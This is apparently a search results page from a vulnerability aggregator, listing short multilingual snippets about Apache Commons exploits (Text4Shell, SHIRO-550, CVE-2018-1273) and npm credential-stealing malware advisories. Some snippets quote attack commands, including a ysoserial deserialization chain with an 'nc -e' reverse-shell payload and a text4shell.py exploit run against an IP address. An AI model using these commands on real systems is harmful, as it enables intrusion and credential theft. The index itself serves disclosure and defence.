5343 matches found
text4shell-exploit
Text4shell-exploit هذا هو إثبات مفهوم PoC لاستغلال الثغرة الأمنية في Apache Commons Text CVE-2022-42889 الإصدارات الضعيفة: من 1.5.0 إلى وليس بما في ذلك 1.10.0 التأثير الاستغلال الناجح لهذه الثغرة يسمح لمهاجم غير مصادق بتنفيذ تعليمات برمجية عشوائية على الأصول الضعيفة. تطبيق ضعيف للتحقق من PoC...
CVE-2022-42889-text4shell
CVE-2022-42889-text4shell 🔥🔥🔥 Apache commons text - CVE-2022-42889 Text4Shell إثبات مفهوم الاستغلال. تفاصيل📃 يؤثر CVE-2022-42889 على إصدارات Apache Commons Text من 1.5 إلى 1.9. تم إصلاحه في الإصدار 1.10 من Commons Text. تمت مقارنة الثغرة الأمنية بـ Log4Shell حيث أنها ثغرة على مستوى مكتبة مفتوحة...
Malicious code in @galicia-toolkit-nestjs-20/commons (npm)
Source: amazon-inspector 5b719740efc4b3e93e85668e2e787b39a8d91e15abbe9c39f5d156e118745caa On require, index.js loads a bundled ELF native addon at prebuilds/linux-x64/metrics.node inside a silent try/catch. The addon reads CI/cloud credential environment variables AWSSECRETACCESSKEY and related...
Malicious code in @galicia-toolkit-nestjs/commons (npm)
Source: amazon-inspector eae27acb3901d275439e482d51a1451df67c1a6b2011f35881253a3fa8d2456b The package ships a tiny index.js that requires a bundled ELF at prebuilds/linux-x64/metrics.node inside a swallow-all try/catch on module load. No C/C++ source, binding.gyp, or node-gyp/prebuild tooling is...
Malicious code in @galicia-toolkit-nestjs-20-lite/commons (npm)
Source: amazon-inspector 9974df3d2695630f5921c98037f0359ed3948cc0afd0c13d4ad5043819950f15 package.json declares a preinstall hook node index.js || true, which require's a bundled native addon at prebuilds/-/metrics.node. On N-API registration the addon reads AWSACCESSKEYID, AWSSECRETACCESSKEY,...
riskootext4shell
riskootext4shell سكربت text4shell لـ text coomons =1.10 CVE-2022-33980 مكتبة Apache Commons Text هي مكتبة بديلة للوظائف الأصلية في JDK الخاص بـ Java. الإصدارات السابقة للإصدار 1.10.0 من Apache Commons مشابهة لـ CVE-2022-33980 python3 text4shell.py -u http://192.168.245.111:8080/search?query= -i...
cve-2018-1273
CVE-2018-1273 Spring Data Commons RCE – Vulnérabilité d'exécution de commandes à distance utilisation C:\Users\CTF\Desktoppython cve-2018-1273.py / / | / / /| |/ : touch /tmp/jas502n 405, May Have a CVE-2018-1273 vulnerability! CVE-2018-1273 Vulnerability Exit! Cmd : Requête BurpSuite : POST...
cve-2022-42889
cve-2022-42889 cve-2022-42889 Text4Shell يؤثر على Apache Commons Text من الإصدار 1.5 إلى 1.9. تم تصحيحه اعتبارًا من إصدار Commons Text 1.10. المراجع: https://securitylab.github.com/advisories/GHSL-2022-018ApacheCommonsText/ https://github.com/karthikuj/cve-2022-42889-text4shell-docker...
MAL-2026-17722 Malicious code in @galicia-toolkit-nestjs/commons (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector eae27acb3901d275439e482d51a1451df67c1a6b2011f35881253a3fa8d2456b The package ships a tiny index.js that requires a bundled ELF at prebuilds/linux-x64/metrics.node inside a swallow-all try/catch on module load. No...
Malicious code in @galicia-toolkit-nestjs/commons (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector eae27acb3901d275439e482d51a1451df67c1a6b2011f35881253a3fa8d2456b The package ships a tiny index.js that requires a bundled ELF at prebuilds/linux-x64/metrics.node inside a swallow-all try/catch on module load. No...
MAL-2026-17726 Malicious code in @galicia-toolkit-nestjs-20/commons (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5b719740efc4b3e93e85668e2e787b39a8d91e15abbe9c39f5d156e118745caa On require, index.js loads a bundled ELF native addon at prebuilds/linux-x64/metrics.node inside a silent try/catch. The addon reads CI/cloud...
Security Bulletin: Vulnerabilities exists in IBM Netezza Appliance
Summary Vulnerabilities identified in IBM Netezza Appliance have been addressed in version 1.0.2.0 Vulnerability Details CVEID:CVE-2026-21933 DESCRIPTION: Java SE could allow a remote attacker to bypass security controls and perform unauthorized update, insert, delete, or read operations on...
SHIRO-550
Shiro RememberMe 1.2.4 Vulnérabilité de désérialisation SHIRO-550 commons-collections-3.2.1.jar java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient "10.10.20.166:12345" |python exp.py java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 'nc -e /bin/...
cve
CVE بيان المشكلة: Stackoverflow أحاول بناء مشروعي في Docker، لذلك أستخدم Docker Desktop لبناء مشروعي، وعند بناء الصورة أحصل على هذا كأحد الثغرات الأمنية: CVE-2024-26308 CWE-770 7.5 H Allocation of Resources Without Limits or Throttling vulnerability in Apache Commons Compress. This issue affects...
CVE-2025-48734
CVE-2025-48734: Apache Commons BeanUtils – fuite d'informations de declaringClass d'enum et chaîne RCE À des fins éducatives et de recherche en sécurité autorisée uniquement. Ce dépôt fournit un environnement de laboratoire contrôlé pour reproduire la vulnérabilité CVE-2025-48734 dans Apache...
CVE-2022-42889
🚀 استغلال CVE-2022-42889 Text4Shell أداة استغلال بلغة بايثون لـ CVE-2022-42889 Text4Shell، وهي ثغرة حرجة لتنفيذ التعليمات البرمجية عن بُعد في Apache Commons Text الإصدارات الأقدم من 1.10.0. 📋 جدول المحتويات الوصف تفاصيل الثغرة الإصدارات المتأثرة ميزات الأداة المتطلبات الاستخدام أمثلة كيف تعمل الك...
Text4Shell-Scanner
ماسح ضوئي لـ CVE-2022-42889 Text4Shell الوصف هذه أداة مسح ضوئي لثغرة CVE-2022-42889 Text4Shell الاستخدام الخطوات 1. قم بتنزيل ملف jar الملف موجود في preparedJar/text4shell-scanner.jar 2. تحقق من إصدار جافا على نظامك 3. شغّل ملف jar مع الوسائط راجع المثال التالي مثال على الأمر java -jar...
CLEANSTART-2026-PL91023 Uncontrolled Resource Consumption vulnerability in Apache Commons IO
Security vulnerability affects the apache-hive package. Uncontrolled Resource Consumption vulnerability in Apache Commons IO...